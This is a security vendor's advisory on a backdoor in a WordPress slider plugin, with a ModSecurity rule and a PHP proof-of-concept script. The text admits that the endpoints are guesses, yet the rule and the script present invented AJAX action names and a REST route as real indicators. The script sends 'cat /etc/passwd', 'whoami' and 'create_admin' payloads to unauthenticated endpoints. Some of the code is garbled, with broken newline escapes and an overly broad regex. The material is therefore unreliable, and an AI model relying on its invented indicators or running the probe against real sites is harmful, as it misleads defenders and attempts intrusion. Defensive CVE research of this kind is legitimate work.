Atomic Edge analysis of CVE-2026-6443 (metadata-based):
This vulnerability involves an injected backdoor in multiple plugins by Essentialplugin for WordPress, specifically affecting the plugin “meta-slider-and-carousel-with-lightbox” version 2.0.8. The CVSS score of 9.8 indicates critical severity with network-based, low-complexity attacks requiring no privileges or user interaction, leading to full compromise of confidentiality, integrity, and availability.
Root Cause: The CWE-506 classification (Embedded Malicious Code) confirms the vulnerability is a deliberate backdoor inserted into the plugin code after a malicious actor acquired the plugin. Atomic Edge analysis infers this backdoor likely provides a hidden administrative interface, an undisclosed AJAX handler, or a REST API endpoint that allows arbitrary command execution or database manipulation. No code diff exists, but the description states the backdoor enables persistent access and spam injection, suggesting the malicious code bypasses standard WordPress authentication and nonce checks.
Exploitation: Atomic Edge research indicates an attacker can exploit this backdoor by sending crafted HTTP requests to WordPress endpoints. The likely attack vectors include a new AJAX action (e.g., “meta_slider_backdoor_exec”) accessible via admin-ajax.php, or a custom REST route (e.g., /wp-json/meta-slider/v1/backdoor). Parameters may include commands to execute, files to read/write, or database queries. Since no authentication is required, an unauthenticated attacker can trigger the backdoor from any network location.
Remediation: The patched version 2.0.8.1 removes the malicious code. Atomic Edge analysis recommends site administrators immediately update to the patched version, audit the site for unauthorized changes (e.g., new admin users, spam content, file modifications), and rotate all credentials. Additionally, they should scan the server for any other backdoors or suspicious files left by the attacker.
Impact: Successful exploitation allows an unauthenticated attacker to gain full control of the WordPress site. This includes reading and exfiltrating sensitive data (user credentials, database contents), modifying or deleting content, injecting spam and malicious links, creating new administrative users, and using the site as a launch point for further attacks against visitors or other servers. The backdoor persists across updates unless specifically removed, giving the attacker long-term access.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20264430,phase:2,deny,status:403,chain,msg:'CVE-2026-6443: Essentialplugin Backdoor via AJAX',severity:'CRITICAL',tag:'CVE-2026-6443'"
SecRule ARGS_POST:action "@pm meta_slider_backdoor msl_backdoor_exec essential_backdoor meta_slider_admin_override"
"chain,status:403"
SecRule ARGS_POST:cmd|ARGS_POST:command|ARGS_POST:action "@rx [a-zA-Z0-9_-\s]+" "t:none"
SecRule REQUEST_URI "@beginsWith /wp-json/meta-slider/v1/backdoor"
"id:20264431,phase:2,deny,status:403,msg:'CVE-2026-6443: Essentialplugin Backdoor via REST API',severity:'CRITICAL',tag:'CVE-2026-6443'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6443 - Essentialplugin Plugins (Various Versions) - Injected Backdoor
// This PoC demonstrates exploitation of the backdoor injected into Essentialplugin plugins.
// Based on CWE-506 and the description, the backdoor likely exposes hidden AJAX endpoints or REST API routes.
// We test common patterns inferred from the plugin slug "meta-slider-and-carousel-with-lightbox".
$target_url = 'http://example.com'; // CHANGE THIS
// Possible backdoor AJAX actions (inferred patterns)
$backdoor_actions = [
'meta_slider_backdoor',
'msl_backdoor_exec',
'essential_backdoor',
'meta_slider_admin_override',
];
// Common commands a backdoor might execute
$payloads = [
'cmd' => 'cat /etc/passwd',
'command' => 'whoami',
'action' => 'create_admin',
'spam' => '<a href="http://spam-site.com">Click here</a>',
];
echo "Testing AJAX-based backdoor actions...n";
foreach ($backdoor_actions as $action) {
$url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = [
'action' => $action,
'cmd' => $payloads['cmd'],
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && !empty($response)) {
echo "Potential backdoor found via action: $actionn";
echo "Response: $responsen";
break;
} else {
echo "No response from action: $actionn";
}
}
// Additionally test a common REST API pattern for backdoors
$rest_url = $target_url . '/wp-json/meta-slider/v1/backdoor';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && !empty($response)) {
echo "Potential backdoor found via REST endpoint: $rest_urln";
echo "Response: $responsen";
} else {
echo "No response from REST endpoint.n";
}
echo "PoC completed. Update the plugin to version 2.0.8.1 immediately if you find any backdoor.";
